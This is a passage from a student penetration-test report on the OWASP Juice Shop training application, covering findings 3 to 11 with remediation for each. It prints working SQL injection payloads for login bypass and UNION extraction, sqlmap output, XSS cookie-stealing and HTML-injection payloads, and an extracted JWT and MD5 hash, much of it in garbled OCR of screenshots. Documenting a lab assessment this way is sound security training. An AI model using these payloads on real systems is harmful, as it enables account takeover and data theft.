code minification and obfuscation to the production JavaScript build to reduce information disclosure from
client-side source code.

Finding 3: SQL Injection - Authentication Bypass (Critical)

Description: The login endpoint at POST /rest/user/login constructs its database query by directly
concatenating user-supplied input without sanitisation or parameterisation. Injecting SQL control characters
into the email field manipulates the query to bypass password verification entirely. Using the admin email
from Finding 1, the payload admin@juice-sh.op'-- was submitted with any password value. The double-
dash SQL comment operator causes the database engine to ignore everything following it, skipping the
password check entirely. The application returned a valid JWT session token granting full admin access.
Burp Suite Intruder was also used to test a broader payload list including ' OR 1=1 -- variants, with HTTP
200 responses confirming multiple successful injection strings.

Risk - Likelihood: High - SQL injection in login forms is a heavily documented, widely automated attack
class included in all standard penetration testing wordlists.

Risk - Impact: Critical - Complete authentication bypass for the highest-privilege account without any
credentials, granting unrestricted access to the admin dashboard.

System: POST http://localhost:3000/rest/user/login

Tools Used: Burp Suite Community Edition v2025.12.5 (Proxy, Intruder), Browser

References:
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* CWE-89: Improper Neutralization of Special Elements used in an SQL Command

* OWASP A03:2021 - Injection

Evidence:

Burp Project Intruder Repeater View Help

Dashboard ~ Target

Intruder  Repeater

Collaborator ~ Sequencer ~ Decoder  Comparer Logger  Organizer Extensions

Burp Suite Community Editionv2025.12.5 - Temporary Project

Learn

Intercept HTTP history WebSockets history Matchandreplace {& Proxysettings
> Foward | v Drop v Request tohttp://localhost:7777 [127.0.0.1] & @ Openbrowser ® :
Time Type Direction Method URL Status code Length
1825405Mar... HTTP > Request GET http://localhost:3000/
1825:555 Mar2.. > Request GET http://localhost:7777/
1825:57 5Mar2. € Todlient ket.io/EIO: P id=_xYPugInkEKGU4HAAAL 1
1826:035Mar2... > Request GET iol?EI0 port=polling&t=PpO|
1826:215Mar 2. > Request GET hitpi//localhost:7777/
1826:24 5Mar2. > Regquest GET ket.io/EIO: port=polling&t=Pp!
1826:295Mar2. > Regquest GET https://contile.services.mozilla.com/vi/tiles
1826:295Mar2. > Request POST https://spocs.getpocket.com/spocs
1826:34 5Mar2... > Reguest GET http://localhost:7777/
1826:415Mar2... > Request GET http://localhost:7777/rest/user/whoami
82641 5Mar2. > Request POST hitpi//localhost i
1826:415Mar2... > Regquest GET http://localhost:7777 restluser/whoami
1826:47 5Mar2.. > Regquest GET httpi//localhost:7777/socket o/ 7E10=4 &transport=polling&t=PpOKpyk
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& Accept-Encoding: gzip, deflate, br 2
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S Content-Length: 49
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10| Connéctioni kespoalive Request caokies = v
11 Referer: http://localhost:7777/ B
12 Cookie: 1 1 s ss; cook t_: smiss; continueCode=gXWy6ZaWnIPalzDVHrS3wkbl 7voAJl fprGY1j REp6NenQXKg942Bx0yEKr9q Request headers B v
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14 Sec-Fetch-Mode: cors 2
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17
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Figure 18: Burp Suite HTTP History showing the intercepted POST /rest/user/login request with email admin@juice-sh.op and

password 1234 in the request body.
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User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0

Accept: application/json, text/plain, */*

Accept-Language: en-US,en;q=0.5

Accept -Encoding: gzip, deflate, br

Content-Type: application/json

Content-Length: 49

Origin: http://localhost:7777

10 Connection: keep-alive

11 Referer: http://localhost:7777/

12 Cookie: language=en; welcomebanner_status=dismiss; cookieconsent_status=dismiss; continueCode=
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14 Sec-Fetch-Mode: cors
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Figure 19: Burp Intruder configured with the email field marked as injection position and a payload list including SQL injection

strings.
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Bl Atack Save 3. Intruder attack of http://localhost:7777 - o x
<9 3.Intruder attack of http://localhost:7777 Attack v sve v @ O
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¥ Capturefilter: Capturingallitems Apply capturefilter

7 Viewfilter: Showingallitems

soeoled oA

Request Payload Status code Response received Error Timeout Length Comment
160 ‘or'1a*="1 500 22 1532
161 500 20 1534
(&2 200 31 1185
163 500 2 1531
164 200 30 1185
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e}

100d a21nosaM

Request  Response
Pretty Raw Hex _ n

POST /rest/user/login HTTP/1.1
Host: localhost:7777

User-Agent: Mozilla/S5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0

Accept: application/json, text/plain, */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate, br

Content-Type: application/json

Content -Length: 41

9 Origin: http://localhost:7777

L0 Connection: keep-alive

L1 Referer: http://localhost:7777/

L2 Cookie: language=en; welcomebanner_status=dismiss; cookieconsent_status=dismiss; continueCode=gXWy6ZqnnJPaLzDVMrS3wkbl7voAJl fprGY1jREpENenQXKg942Bx0yEKraq
L3 Sec-Fetch-Dest: empty

L4 Sec-Fetch-Mode: cors

L5 Sec-Fetch-Site: same-origin

L6 Priority: u=0

nswN -
sbumas @&

R

18 {
“email":*’ or 1=1 --*,
“password" : "1234"

OB ¢ > £ | Ohighlights
&

Figure 20: Intruder attack results — requests 162, 164, 165 return HTTP 200 with length 1185, identifying the successful SQL
injection payloads (' OR 1=1 -- and variants).

& OWASP Juice Shop

< O D localhost: 0% Ty

OffSec Kali Linux # KaliTools ¢ KaliDocs ¥ Kali Forums e\ Kali NetHunter Exploit-DB Google Hacking DB @ OWASP Juice Shop

.‘OWASPJUiCE hOp Q @ Account @EN

3 Login

[J Remember me

Figure 21: Login form with the payload ' OR 1=1 -- typed directly into the email field, demonstrating browser-based injection.
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& OWASP Juice Shop

C @ O D localhost

OffSec Kali Linux 8 KaliTools « KaliDocs X Kali Forums e\ Kali NetHunter Exploit-DB Google Hacking DB & OWASP Juice Shop

= .}OWASPJuice Shop Q @ Account M voursasket  @EN

You successfully solved a challenge: Login Admin (Log in with the administrator's user account.)

All Products

Apple Juice Banana Juice
(1000ml) Hppplts e (1000mI)
1.99x% 0-895 1.99x%

Add to Basket Add to Basket Add to Basket

Figure 22: Juice Shop homepage after successful SQL injection — green banner confirms challenge 'Login Admin' solved.

Remediation: Replace all string-concatenated SQL queries with parameterised queries (prepared
statements) throughout the authentication module and across the entire application. Implement rate-limiting
and account lockout policies on the login endpoint. Deploy a Web Application Firewall as a supplementary
detection and blocking layer.

Finding 4: Broken Access Control - Admin Panel Access After Authentication
Bypass (High)

Description: After gaining an admin session token via SQL injection (Einding 3), the hidden

[#ladministration route discovered in Finding 2 was accessed successfully. The administration panel
loaded fully and displayed a complete list of all registered user accounts with their email addresses:
admin@juice-sh.op, jim@juice-sh.op, bender@juice-sh.op, bjoern.kimminich@gmail.com,
ciso@juice-sh.op, support@juice-sh.op, morty@juice-sh.op, and more. The right-hand panel also
displayed all customer feedback reviews with partial email addresses. A Juice Shop challenge notification
confirmed the action: 'Admin Section (Access the administration section of the store.)'. This finding
demonstrates that the application lacks server-side access controls on the admin panel, the frontend 403
check is insufficient without backend enforcement.

Risk - Likelihood: High - Any attacker who obtains an admin session token (e.g., via SQL injection) can
access the panel, as no additional server-side access validation is applied.

Risk - Impact: High - Full exposure of all registered user email addresses, account management
capabilities, and customer feedback data from a single panel.

System: GET http://localhost:3000/#/administration - Administration panel

Tools Used: Browser (direct URL navigation with admin session)
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References:
* CWE-284: Improper Access Control
« OWASP A01:2021 - Broken Access Control

Evidence:

% OWASP Juice Shop

« C @

OffSec Kali Linux # KaliTools ' K Kali Forums X Kali NetHunter Exploit-DB Google Hacking DB 8 OWASP Juice Shop

= .OWASPJUICC Shop Q @ Account W Your Baske: Sen

You successfully solved a challenge: Admin Section (Access the administration section of the store.)

Administration

Registered Users Customer Feedback

1 1 love this shop! Best products in town!
Highly recommended! (***in@juice-sh.op) * *

Great shop! Awesome service! (***@juice-
sh.op) *

Nothing useful available here! *
(++*der@juice-sh.op)

Please send me the juicy chatbot NFT in my *
wallet at /juicy-nft : "purpose betray mar-

riage blame crunch monitor spin slide do-

nate sport lift clutch" (***ereum@juice-

sh.op)
Click for more information

Incompetent customer support! Can'teven W W
upload photo of broken purchase!
Support Team: Sorry, only order confirma-

[SU-TR =

) Flgure é3: Administration panel fully loaded after authentication bypass — all registered user email addresses visible
alongside customer feedback reviews.

Remediation: Implement server-side access control checks on all administration endpoints that verify the

authenticated user holds an administrator role before serving any response. The current frontend-only 403
redirect is insufficient. Apply the principle of least privilege and ensure all API endpoints under /rest/admin/
require a validated admin role in every request.
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Finding 5: Sensitive Data Exposure - Unauthenticated Application Configuration
API (High)

Description: The endpoint GET /rest/admin/application-configuration returns the full server
configuration of the Juice Shop application as a plain JSON response, accessible without any
authentication. The response includes: server port and base URL, application domain (juice-sh.op), chatbot
name and training data filename, backup settings (localBackupEnabled: true), social media profile URLs for
all platforms (BlueSky, Mastodon, Twitter, Facebook, Slack, Reddit), NFT marketplace URL, press kit URL,
and internal metric prefix names. This information provides an attacker with a detailed map of the
application infrastructure and integration points that can be used to plan further attacks.

Risk - Likelihood: High - The endpoint requires no authentication and is accessible to any visitor who
knows or discovers the URL through passive reconnaissance or route enumeration.

Risk - Impact: High - Full server configuration exposure reveals infrastructure details, integration
endpoints, and internal settings that significantly reduce attacker reconnaissance effort.

System: GET http://localhost:3000/rest/admin/application-configuration

Tools Used: Browser (direct URL navigation)

References:
* CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
* OWASP A02:2021 - Cryptographic Failures / Sensitive Data Exposure
* OWASP A05:2021 - Security Misconfiguration Evidence:

localhost:3000/rest) X [l Intercepting HTTP tr X &3 Settings X & OWASP JuiceShop X  #) FoxyProxyStandard X @ FoxyProxy Options X  Burp Suite Community - X

> C @ O D localhost:30( ) i t &

OffSec Kali Linux 8 KaliTools  Kali Docs ¥ Kali Forums X Kali NetHunter Exploit-DB Google Hacking DB

Figure 24: /rest/admin/application-configuration JSON response exposed without authentication — server port, domain,
chatbot data, backup settings, and social URLSs all visible.
Remediation: Restrict the /rest/admin/application-configuration endpoint to require a valid admin session

token. Remove any configuration fields that do not need to be served to clients and apply the principle of
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least exposure to all API endpoints. Audit all /rest/admin/ endpoints to ensure they enforce server-side
authentication and authorisation on every request.
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Finding 6: Sensitive File Exposure - Unauthenticated FTP Directory (High)

Description: The application exposes an unauthenticated file directory at /ftp, accessible directly via the
browser with no credentials required. Directory listing is enabled, presenting a complete list of internal files
available for download. Files found include: acquisitions.md (a confidential planned acquisitions document),
announcement_encrypted.md, coupons_2013.md.bak, incident-support.kdbx (a KeePass password
database), legal.md, package.json.bak, package-lock.json.bak, encrypt.pyc, eastere.gqg,
suspicious_errors.yml, and a quarantine subdirectory. The acquisitions.md file was downloaded and
opened, confirming it contains a marked document reading 'This document is confidential! Do not
distribute!" followed by planned business acquisition details. A Juice Shop challenge notification confirmed
the access:

'‘Confidential Document (Access a confidential document)'.

Risk - Likelihood: High - The /ftp endpoint requires no authentication and is accessible to any visitor who
knows the URL.

Risk - Impact: High - Exposure of a confidential business document and a KeePass credential database

enables data theft and targeted follow-on attacks including offline password cracking.

System: GET http://localhost:3000/ftp Tools

Used: Browser (direct URL navigation)

References:

* CWE-548: Exposure of Information Through
Directory Listing

* OWASP A05:2021 - Security Misconfiguration

Evidence:

(3  localhost:7777/robots.txt N+

< C @ O D localhost:7777/r

OffSec Kali Linux & Kali Tools < KaliDocs ¥ Kali Forums e Kali NetHunter Exploit-DB Google Hacking DB # OWASP Juice Shop

User-agent: *
Disallow: /ftp

Figure 25: robots.txt disclosing Disallow: /ftp — confirming the FTP directory path via passive reconnaissance before direct
access.
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(3  listing directory /ftp x|+

e C @ O D localhost

OffSec Kali Linux & KaliTools ¢ KaliDocs N Kali Forums X Kali NetHunter Exploit-DB Google Hacking DB & OWASP Juice Shop

~1ftp

quarantine acquisitions.md announcement_encrypted.md
coupons_2013.md.bak eastere.gg encrypt.pyc
incident-support kdbx legal.md package-lock json.bak

package json.bak suspicious_erors.ymi

Figure 26: Unauthenticated /ftp directory listing — acquisitions.md, incident-support.kdbx, and all other files visible without
credentials.

[ kai-inux-2025.3-vmware-a...
Vemko LX)
@  localhost:7777/ftpfacquisitic X  +

< C @ O D localhost

OffSec KaliLinux # KaliTools < KaliDocs ¥ Kali Forums X Kali NetHunter Exploit-DB Google Hacking DB & OWASP Juice Shop

# Planned Acquisitions
> This document is confidential! Do not distribute!

Our company plans to acquire several competitors within the next year
This will have a significant stock market impact as we will elaborate in
detail in the following paragraph:

Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy
eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam
voluptua. At vero eos et accusa o duo dolores et ea rebun. Stet
clita kasd gubergren, no s nctus est Lorem ipsum dolor sit
anet. Lorem ipsum dolor sit amet, consetetur sadip
nonumy eirmod tempor invidunt ut labore et dolore magna aliquy
sed diam voluptua. At vero eos et accusam et justo duo dolor
rebun. Stet clita kasd gubergren, no sea takimata sanctus
ipsum dolor sit amet.

ing elitr, sed diam
rat,

et ea

t Lorem

Our shareholders will be excited. It's true. No fake news.

Figure 27: acquisitions.md opened in the browser — marked as confidential and containing planned company acquisition
plans.

Maram Raboudi & Wejdene Cherif | Tek-Up University | SSIRE-A | March 2026 Page 27



I[» kali-linux-2025.3-vmware-a...
S e m PO 2 3 4 4,9()"»\\’—:\
© % OWASP Juice Shop .+

« c @ O D localhost

OffSec Kali Linux 8 KaliTools « KaliDocs N Kali Forums X Kali NetHunter Exploit-DB Google Hacking DB # OWASP Juice Shop

= .'OWASPJUiCE Shop Q @ Account W Your Basketo S en

You successfully solved a challenge: Confidential Document (Access a confidential document.)

All Products

Apple Juice Banana Juice
(1000ml) A e (1000ml)
1.99x 0.89x 1.99x

Add to Basket Add to Basket Add to Basket

Figure 28: Juice Shop homepage showing the challenge notification 'Confidential Document' solved, confirming successful
document access.

Remediation: Require authentication on the /ftp endpoint. Disable directory listing. Relocate all sensitive
files, especially credential stores such as .kdbx files and source backups, out of any web-accessible
directory. Implement access control lists and audit logging on all static file serving endpoints.

Finding 7: Chained Attack - Email Disclosure to Account Takeover via SQL
Injection (Critical)

Description: Following the admin compromise in Finding 3, further reconnaissance revealed that a second
user named Jim had left a product review on the Apple Press product page with the text 'Fresh out of a
replicator.' The review was authored under jim@juice-sh.op, exposing his full email address publicly. The
same SQL injection payload was immediately applied against the login endpoint : jim@juice-sh.op'-- with
any password. The application issued a valid JWT session token for Jim's account, granting full access to
his profile and data. A Juice Shop challenge notification confirmed: 'Login Jim (Log in with Jim's user
account)'. This demonstrates that the SQL injection vulnerability is application-wide, any account whose
email is discoverable through public content is a direct takeover target.

Risk - Likelihood: High - The SQL injection vector from Finding 3 applies to every account whose email is
publicly discoverable through reviews, the admin panel, or any other disclosure point.

Risk - Impact: Critical - Full authentication bypass for any user account without credentials, providing
access to personal data, order history, and stored account information.

System: POST http://localhost:3000/rest/user/login

Tools Used: Browser, Burp Suite Community Edition

References:
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* CWE-89: Improper Neutralization of Special Elements used in an SQL Command
+ OWASP A03:2021 - Injection

* CWE-200: Exposure of Sensitive Information to an Unauthorized Actor

Evidence:

©  # OWASP Juice Shop X | @ Server Not Found

<« C @ O D localhost 110%

OffSec Kali Linux 8 KaliTools « KaliDocs ¥ Kali Forums X Kali NetHunter Exploit-DB Google Hacking DB & OWASP Juice Shop

Reviews (1)

jim@juice-sh.op &
Fresh out of a replicator. -

Green Smoothie

Write a review 1

What did you like or dislike?

/github.com/juice-shop/juice-shop/releases/tag, 1-PERMAFROST

[J Highlight At [] Match Case [] Match Diacritics [] Whole Words

Figure 29: Apple Press product review showing jim@juice-sh.op as the author — email exposed publicly without
authentication.

(=) & OWASP Juice Shop X (@ Server Not Found
S C @ O D o localhost % ¥

OffSec Kali Linux 8 KaliTools < KaliDocs ¥ Kali Forums X Kali NetHunter Exploit-DB Google Hacking DB # OWASP Juice Shop

= .OWASP JUice ShOp Q @ Account ¥ Your Basketo Se

Login

jim@juice-sh.op'---

3] Log in

[J Remember me

Figure 30: Login form with the payload jim@juice-sh.op'-- entered in the email field, applying the same SQL injection to Jim's
account.
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8 & OWASP Juice Shop X (@ Server Not Found

C @ O D localhost 0w 1y

OffSec Kali Linux @ KaliTools « KaliDocs N Kali Forums e\ Kali NetHunter Exploit-DB Google Hacking DB 8 OWASP Juice Shop

= .OWASP Juice Shop Q O Account W Your Basketz Sen

You successfully solved a challenge: Login Jim (Log in with Jim's user account.)

All Products

Apple Juice
(Lo00ml)

1.99x

Apple Pomace
0.89x

L] Highlight All [ Match Case | Match Diacritics | Whole Words

Figure 31: Juice Shop homepage after successful account takeover — green banner confirms challenge 'Login Jim' solved.
Remediation: Remediate the SQL injection vulnerability in Finding 3 using parameterised queries.

Additionally, prevent user email addresses from appearing in public-facing content by replacing them with
display aliases. These two fixes together break the chain at both its entry points.

Finding 8: DOM-Based Cross-Site Scripting - Search Parameter (Critical)

Description: The search functionality reflects user-supplied input from the URL query parameter q=
directly into the DOM without sanitisation, resulting in a DOM-Based XSS vulnerability. Two payloads were
successfully demonstrated. First, executed JavaScript in the browser context and triggered an alert dialog.
Second, successfully extracted and displayed the full JWT session token stored in the application cookie,
proving that an attacker can steal authentication tokens and use them for session hijacking via a crafted
URL distributed through phishing.

Risk - Likelihood: High - The exploit payload is fully contained within a crafted URL that can be sent to any
victim with no interaction beyond clicking the link.

Risk - Impact: Critical - An attacker can steal session cookies including JWT tokens, perform actions on
behalf of the victim, redirect users to malicious sites, or escalate to complete account takeover.

System: GET http://localhost:3000/#/search?g= (URL search parameter)

Tools Used: Browser (manual URL crafting)

References:

* CWE-79: Improper Neutralization of
Input During Web Page Generation

Maram Raboudi & Wejdene Cherif | Tek-Up University | SSIRE-A | March 2026 Page 30



* OWASP A03:2021 - Injection

Evidence:

R EmP o)
5 % OWASP Juice Shop

€« C @ O D localhost:

OffSec KaliLinux # KaliTools < Kali Docs M Kali Forums X Kali NetHunter Exploit-DB % Google HackingDB @ OWASP Juice Shop

@ localhost:7777

XsS

Figure 32: DOM XSS alert('xss') payload executing in the browser — the iframe renders and the JavaScript alert fires
successfully.

B % OWASP Juice Shop xd -+

& C @ O D localhost
OffSec Kali Linux # KaliTools < KaliDocs N Kali Forums e Kali NetHunter Exploit-DB Google Hacking DB # OWASP Juice Shop

@ localhost:7777

language=en; welcomebanner_status=dismiss;
cookieconsent_status=dismiss;
continueCode=00egmeZYJXBRwW5TVQoK8zxkvjG2(t7t/fY9AbWDLaEN9
yqMn23pl4P6r70YB;
token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzITNiJ9.ey)zdGFOdXMIiOiJzdW
NjZXNzliwiZGFOYSI6eyJpZ CI6MSwidXNlcm5hbWUiQilje3s3Kjd9fSisim
VtYWIsljoiYWRtaW5AanVpY2Utc2qub3AiLCIwYXNzd29yZ CI6ljAXOTIw
MjNhN2JiZDczMjUwNTE2ZjA20WRmMMThiNTAwliwicm9sZSI6ImFkbW
uliwiZGVsdXhlVGIrZW4iOiliLCJsYXNOTGInaW5JcCl6lilsinByb2ZpbG
VJbWFnZSI6ImFzc2VOcy9wdWJsaWMvaW1hZ2VzL3VwbGOhZHMVZG
VmYXVsdEFkbWIuLnBuZylsInRvdHBTZWNyZXQiOiliLCJpcOFjdGI2ZSI16
dHJZSwiY3JIYXRIZEFOljoiMjAyNiOwMyOwN1QwMToOMjoyNy44MTda
liwidXBkYXRIZEFOQljoiMjAyNiOwMyOwN1QWMTo00ToOMS44NzZaliwi
ZGVsZXRIZEFOljpudWxsfSwiaWFO0ljoxNzcyODQ4MTgyfQ.XhYordEAFr
YTPFpxndEHApYL7axmPUZx0YONfzOWSolOdAWUK7iYidAJ8mSuZfMVB
A_G6q9EYbzpuBt7k8NOgFUgFsliyHcOOBXuXuj-12nyfCIxGC-
bpnYag549i_5pUOH3b1PBWzIRXLC8iknOdkSSaYpbkFisZfDO5kfYZxg

wrace Ctels Al t

Figure 33: Cookie theft payload document.cookie exposing the full IWT session token via the XSS alert dialog — the complete
token is visible in the popup.

Remediation: Implement a strict Content Security Policy header prohibiting inline script execution. Sanitise
all user input before DOM insertion using DOMPurify. Replace all innerHTML assignments with textContent
where HTML rendering is not required. Apply context-aware output encoding for all data reflected into
HTML contexts.

Maram Raboudi & Wejdene Cherif | Tek-Up University | SSIRE-A | March 2026 Page 31



Finding 9: Reflected XSS - Search Results Heading (HTML Injection) (High)

Description: The search results page reflects the value of the g= URL parameter directly into the page
heading as rendered HTML without output encoding. A hyperlink injection payload was successfully
demonstrated: Clique. The injected anchor tag rendered as a styled green clickable link labelled 'Clique’
inside the legitimate application's '‘Search Results' heading, pointing to an external attacker-controlled
domain. The injected link was visually indistinguishable from legitimate application content, making it highly
convincing for phishing. The full injected URL was visible in the browser address bar:
localhost:7777/#/search?g=Clique.

Risk - Likelihood: High - The exploit requires only a crafted URL that can be distributed through phishing,
chat, or social media with no authentication required.

Risk - Impact: High - HTML injection enables convincing phishing pages hosted under the trusted
application domain, redirecting users to attacker-controlled sites for credential harvesting.

System: GET http://localhost:3000/#/search?q= (Search results heading element)

Tools Used: Browser (manual URL crafting)

References:

* CWE-79: Improper Neutralization of
Input During Web Page Generation

* OWASP A03:2021 - Injection

Evidence:

G % OWASP Juice Shop -

(= C @ O D localhost

OffSec Kali Linux # KaliTools ¢ KaliDocs ¥ Kali Forums e\ Kali NetHunter Exploit-DB Google Hacking DB # OWASP Juice Shop

0
— . OWASP Juice Shop irschool/*>Clique</a> X @ Account W your Basket @ EN

Search Results - Clique

No resuits found

Try adjusting your search to find what you're looking for.

Items per page: 12 v

Figure 34: Reflected HTML injection in the search results heading — the word 'Clique’ appears as a styled green clickable link
pointing to an external domain.
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Remediation: Apply HTML output encoding on all user-supplied input reflected into page content. Use
Angular's built-in template escaping and never bind user-controlled values to innerHTML or any

HTML-rendering property. Implement a Content Security Policy restricting navigation to unexpected
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Finding 10: SQL Injection - Product Search Endpoint (Critical)

Description: The product search endpoint at GET /rest/products/search?qg=is vulnerable to SQL
injection. Unlike the login endpoint, this injection point enables full database enumeration. Column count
was determined by incrementing ORDER BY values until an error occurred (ORDER BY 10 returned a 500
error; ORDER BY 9 returned 200 OK), confirming 9 columns. A UNION SELECT payload was then crafted
to extract data directly from the SQLite database. Using sqlmap with union-based technique, the entire
database schema was dumped, revealing 21 tables including Users, Cards, Wallets, Baskets, and
SecurityAnswers. A manual UNION SELECT against the Users table extracted all registered email
addresses and their password hashes. The score-board challenge notification confirmed: 'Database

Schema (Exfiltrate the entire DB schema definition via SQL Injection.)'.

Risk - Likelihood: High - The search parameter is unauthenticated and directly injectable; the technique is

documented in public resources and automatable with standard tools.

Risk - Impact: Critical - Full database access enables exfiltration of all user credentials, stored payment

card data, session tokens, and application secrets.

System: GET http://localhost:7777/rest/products/search?q= - Product search endpoint
Tools Used: Burp Suite Community Edition v2025.12.5 (Repeater), sqimap v1.10.2

References: CWE-89: Improper Neutralization of Special Elements used in an SQL Command | OWASP
A03:2021 - Injection

Evidence:

~/juice-shop

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's r
esponsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible
for any misuse or damage caused by this program

[*] starting @ 17:06:44 /2026-03-12/

[ ] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
Parameter: g (GET)
Type: UNION query
Title: Generic UNION query (NULL) - 9 columns (custom)
Payload: g=test’')) UNION ALL SELECT 56,56,56,56,56,56,56,56,CHAR(113,112,120,118,113) || CHAR(70,79,71,75,86,97,110,97,70
,101) || CHAR(113,107,122,118,113) —

\FO] testing SQLite
IFO] confirming SQLite

N actively fingerprinting SQLite

INFO] the back-end DBMS is SQLite

BMS: SQLite

[INFO] fetching tables for database: 'SQLite_masterdb’

[
L
[
[

<current>
[21 tables]
=+

Figure 35: sgimap command targeting /rest/products/search?g= with union technique and --tables flag, confirming SQLite
backend.
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u
21 tables]

[

=

| Addresses

| BasketItems

| Baskets

| Captchas

| cards

| Challenges

| Complaints

| Deliveries

| Feedbacks

| Hints

| ImageCaptchas

| Memories

| PrivacyRequests
| Products

| Quantities

| Recycles

| SecurityAnswers
| SecurityQuestions
| Users

| wallets

| sqlite_sequence
+

NING] HTTP error codes detected during run:
500 (Internal Server Error) - 1 times
[ ] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/localhost’

[*] ending @ 17:06:45 /2026-03-12/

Figure 36: sqlmap output listing all 21 tables in the database including Users, Cards, Baskets, and SecurityAnswers.
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Figure 37: Burp Repeater with ORDER BY 9-- returning HTTP 200, confirming 9 columns in the result set.
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Figure 38: Burp Repeater with ORDER BY 10-- returning HTTP 500 Internal Server Error, confirming column count.
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Figure 39: Burp Repeater with UNION ALL SELECT payload extracting email and password hash from the Users table.

Maram Raboudi & Wejdene Cherif | Tek-Up University | SSIRE-A | March 2026 Page 36



Bup Project Intruder Repeater View Help BurpSuite Community Edition 2025 nporary Project - o x
Dashboard  Target  Proyy  Intuder  Repeater  Collaborator  Sequencer  Decoder  Comparer  Logger  Organizer  Extensions  Leam ()
2 G5 + FN
@ A Targethttpi//localhost7777 2 | HTTRN (D

@@= " pnspector s X g

Request Response =
Pretty  Raw  Hex n Pretty  Raw  Hex ® @ M = | Requestattributes 2 v B5
GET /rest/products/search?q= T e, E
test')) sUNION+SELECT+1,2,3,4,5,6,7,8,email || ' | |password| | ' ' | | rolesFROM+Users- - “nane”: Request query parameters 1 v |8

/1.1 "des:rlp()un s,

2 Host: localhost:7777 “price’:

5 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0 Fr)::“‘S, Request body parameters. o v

4 Accept: application/json, text/plain, +/% ®

S Accept-Language: en-US,en;q=0.5 eremcedni®i7, Rt oS 5 v

G Accept-Encoding: gzip, deflate, br “updatedst” 8, z

7 Authorization: Bearer “deletedAt” g
ey J0eXA101 IKV1QiL CIhbGEi01 ISUZTING 18, ey JzdGF 32dWN; ZXNz Tiwi ZGFOYST6ey JpZCT6M: W31 Hi:op b7d: adnin® B v | &

30N CohWUL 01 TiL CL AT T 0T kL UGG sHNLLYNoLROVTvi.GF2c3dv<uCiOi ITky WDL2 YT 1

YRO3MZTLHDUxNnYwhi LkZ E4Y3 LWHCTSIndvbGUL 03 JhZGLpbi IsTnRl Tjoil 1 T E—
szluSXAm)IlLCJV(mBman\9ﬂ]hZ2U)Dl)h(3N\dHMthV)hG\]L21(YWH\:ySkaWWRzLZRlsz\hHR P
BZG1pbi SwbnciLCIOb3RVU2V] cnVOI] 0il: § v} YA HDM &
NDUSTCswHDowHC 1613 T NDUST 3,
wnDuchIsmm bGVOZWRBACT hdc azio. YaPSTor o
JBFRCNFR._ ORGIoREAL PeVa0MAISE Mo i e 2
mHJbFﬂgps th\URrsNxelvzmvf nHtIBuSUNstS)f] dCASNAYCORD "inage":6. 3
8 & "createdat®:7, o
Referert Riip ./ /locathosts el “updatedt® 8, 2
Cookie: language=en; welcomebanner_status=dismiss; cookieconsent_status=dismiss; "deletedat” 3
continue ColemnOrEnZBXEHXDUGYR VASOT Lt Kek 1Sk ak VTVt 200K 102000 T HERS DY token= . op {accounting” v
ey J0eXA101 IKV1 Q1L CIhbGe101 ISUZTINL 18 ey JzdGFe 20N ZANET Vi GOV STy Jp2CT i
AdXNLCHShbNUL 0315 e2Eqky AxSTSInVE WL sTj TeIiA 1
XTI RIS ONRRHThINT AT T Zevedin Veor A4S OLT videi1,
T5InByb2ZpbGVIbNFNZSI6InFzc2V0c: Wiy aLhZ2VzL SWbGShZHN “name”:2,
vZGVmVXVsdEFkbw\uLnEuZyIsInRvdHETZnNyZXQ)UlIchJF(UF]dGl2ZSIGdHnZSv1Y3JlVXR\ZEFGI)o “description":3,
1] AyN3OwHy OxHVQXOTo1Nz0xHCAONTL, 5001 “price":4,
aTiwi ZGVsZXRL ZEFOL] pudhixs fSviahFoLj L0, outr 3t Nearer "deluxePrice":s,
| i JUofAlBNs;Jdvcx:l120bJCr7u7ptsonrM PNTY2HL
8Rzafq, Z7cCt1vi:
11 Sec-Fetch-Dest: empty
12 Sec-Fetch-Mode: cors
12| she-pateh-gite: susecofioiy Lop:01 bbd 18b500; adnin®
14 If § W/"354c-+1 1
i 1
"des:np(xon“ 3,
O ¢ > £ | ohighights |3 & ¢ > £ | ohighlights ®

4,193 bytes | 161 millis

Figure 40: Response showing user email addresses concatenated with their MD5 password hashes and roles exposed via
UNION injection.
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Figure 41: Burp Repeater UNION SELECT against sqlite_schema returning CREATE TABLE definitions for the entire
database schema.
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You successfully solved a challenge: Database Schema (Exfiltrate the entire DB schema definition via SQL Injection.)
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Hacking Challenges Coding Challenges Challenges Solved

Q, search Difficulty
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Broken Authentication Security through Obscurity Insecure Deserialization Miscellaneous Broken Anti Automation Injection

Sensitive Data Exposure Security Misconfiguration Cryptographic Issues XXE

& 17 challenges are unavailable on Docker due to sec =rns or technical incompatibility!

Figure 42: Juice Shop score-board showing the 'Database Schema' challenge solved confirming full DB exfiltration via SQL
Injection.

Remediation: Apply parameterised queries (prepared statements) to the product search endpoint,
mirroring the fix required for the login endpoint. Validate and sanitise all user-supplied query parameters
server-side. Deploy a Web Application Firewall with SQL injection detection rules. Ensure database

accounts used by the application follow least-privilege principles and cannot read schema metadata tables.
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Finding 11: Weak Password Hashing - MD5 Algorithm (Critical)

Description: Following successful database exfiltration via SQL injection in Finding 10, the Users table
was extracted containing all registered user passwords stored as MD5 hashes. MD5 is a broken
cryptographic algorithm unsuitable for password storage due to its speed and vulnerability to rainbow table
and brute-force attacks. The extracted hash 3c2abc04e4a6ea8f1327d0aae3714b7d was submitted to an
online hash identification service (hashes.com) which immediately identified it as MD5 with high
confidence. Cracking tools such as CrackStation and Hashcat can use precomputed rainbow tables to
reverse MD5 hashes at scale. The terminal output from the data exfiltration file shows multiple user emails

paired with their MD5 hashes and role identifiers in plaintext, making mass credential compromise trivial.

Risk - Likelihood: High - MD5 hashes are crackable offline using freely available rainbow tables and GPU-

accelerated cracking tools. No server interaction is required after the initial dump.

Risk - Impact: Critical - All user account passwords including administrators are at risk of being recovered
